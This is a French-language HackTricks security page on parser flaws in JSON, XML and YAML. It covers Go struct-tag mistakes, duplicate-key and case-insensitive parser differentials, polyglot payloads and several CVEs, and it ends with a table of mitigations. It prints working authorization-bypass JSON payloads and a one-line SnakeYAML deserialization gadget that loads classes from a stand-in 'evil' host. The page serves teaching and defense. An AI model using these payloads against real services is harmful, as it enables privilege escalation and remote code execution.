JSON, XML & Yaml Hacking & Issues

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Décodeur JSON Go

Les problèmes suivants ont été détectés dans le Go JSON bien qu’ils puissent également être présents dans d’autres langages. Ces problèmes ont été publiés dans this blog post.

Les parseurs JSON, XML et YAML de Go présentent une longue série d’incohérences et de valeurs par défaut non sécurisées qui peuvent être exploitées pour bypass authentication, escalate privileges, ou exfiltrate sensitive data.

(Un)Marshaling Données inattendues

L’objectif est d’exploiter des structs qui permettent à un attaquant de lire/écrire des champs sensibles (par ex., IsAdmin, Password).

  • Exemple de struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnérabilités courantes
  1. Tag manquant (no tag = le champ est encore analysé par défaut):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Utilisation incorrecte de -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Façon correcte d’empêcher qu’un champ soit (dé)sérialisé :

type User struct {
IsAdmin bool `json:"-"`
}

Différences entre parseurs

Le but est de contourner l’autorisation en exploitant la façon dont différents parseurs interprètent différemment le même payload, par exemple :

  • CVE-2017-12635: Apache CouchDB bypass via clés dupliquées
  • 2022: Zoom 0-click RCE via incohérence du parser XML
  • GitLab 2025 SAML bypass via particularités XML

1. Champs dupliqués : Le encoding/json de Go prend le champ dernier.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

D’autres parseurs (par ex., Java’s Jackson) peuvent prendre le premier.

2. Insensibilité à la casse: Go est insensible à la casse:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Même les astuces Unicode fonctionnent :

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: Imaginez :

  • Proxy written in Go
  • AuthZ service written in Python

L’attaquant envoie :

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python voit UserAction, l’autorise
  • Go voit AdminAction, l’exécute

Confusion de formats de données (Polyglots)

Le but est d’exploiter des systèmes qui mélangent des formats (JSON/XML/YAML) ou qui restent permissifs en cas d’erreurs du parseur, par exemple :

  • CVE-2020-16250 : HashiCorp Vault a analysé du JSON avec un parseur XML après que STS ait renvoyé du JSON au lieu de XML.

L’attaquant contrôle :

  • L’en-tête Accept: application/json
  • Contrôle partiel du corps JSON

Le parseur XML de Go l’a quand même analysé et a fait confiance à l’identité injectée.

  • Payload conçu :
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Résultat :

  • Go JSON parseur : Action_2 (insensible à la casse + la dernière valeur l’emporte)
  • YAML parseur : Action_1 (sensible à la casse)
  • XML parseur : analyse "Action_3" à l’intérieur de la chaîne

Vulnérabilités notables des parseurs (2023-2025)

Les problèmes publiquement exploitables ci‑dessous montrent que l’analyse non sécurisée est un problème multilingue — pas seulement un problème Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Affecte : org.yaml:snakeyaml < 2.0 (utilisé par Spring-Boot, Jenkins, etc.).
  • Cause racine : new Constructor() désérialise des classes Java arbitraires, permettant des chaînes de gadgets qui culminent en exécution de code à distance.
  • PoC en une ligne (ouvrira la calculatrice sur l’hôte vulnérable) :
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Correctif / Atténuation :
  1. Mettre à niveau vers ≥2.0 (utilise SafeLoader par défaut).
  2. Sur les versions plus anciennes, utilisez explicitement new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Affecte : libyaml ≤0.2.5 (bibliothèque C utilisée par de nombreux bindings).
  • Problème : Appeler yaml_event_delete() deux fois conduit à un double-free que des attaquants peuvent transformer en DoS ou, dans certains scénarios, en exploitation du heap.
  • Statut : L’amont a rejeté comme un « API misuse », mais les distributions Linux ont livré la version corrigée 0.2.6 qui met le pointeur à NULL avant de le libérer de façon défensive.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Affecte : Tencent RapidJSON avant le commit 8269bc2 (<1.1.0-patch-22).
  • Bug : Dans GenericReader::ParseNumber() des calculs non vérifiés permettent à des attaquants de fabriquer des littéraux numériques énormes qui débordent et corrompent le heap — finissant par permettre une escalation de privilèges lorsque le graphe d’objets résultant est utilisé pour des décisions d’autorisation.

🔐 Atténuations (Mises à jour)

RisqueCorrectif / Recommandation
Champs inconnus (JSON)decoder.DisallowUnknownFields()
Champs dupliqués (JSON)❌ Pas de correctif dans la stdlib — valider avec jsoncheck
Correspondance insensible à la casse (Go)❌ Pas de correctif — valider les struct tags + pré-canoniser l’entrée
Données XML indésirables / XXEUtiliser un parseur durci (encoding/xml + DisallowDTD)
Clés YAML inconnuesyaml.KnownFields(true)
Unsafe YAML deserializationUtiliser SafeConstructor / mettre à niveau vers SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeMettre à jour vers 0.2.6 ou version distro-patchée
RapidJSON <patched commitCompiler contre la dernière version de RapidJSON (≥juillet 2024)

Voir aussi

Mass Assignment Cwe 915

Références

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks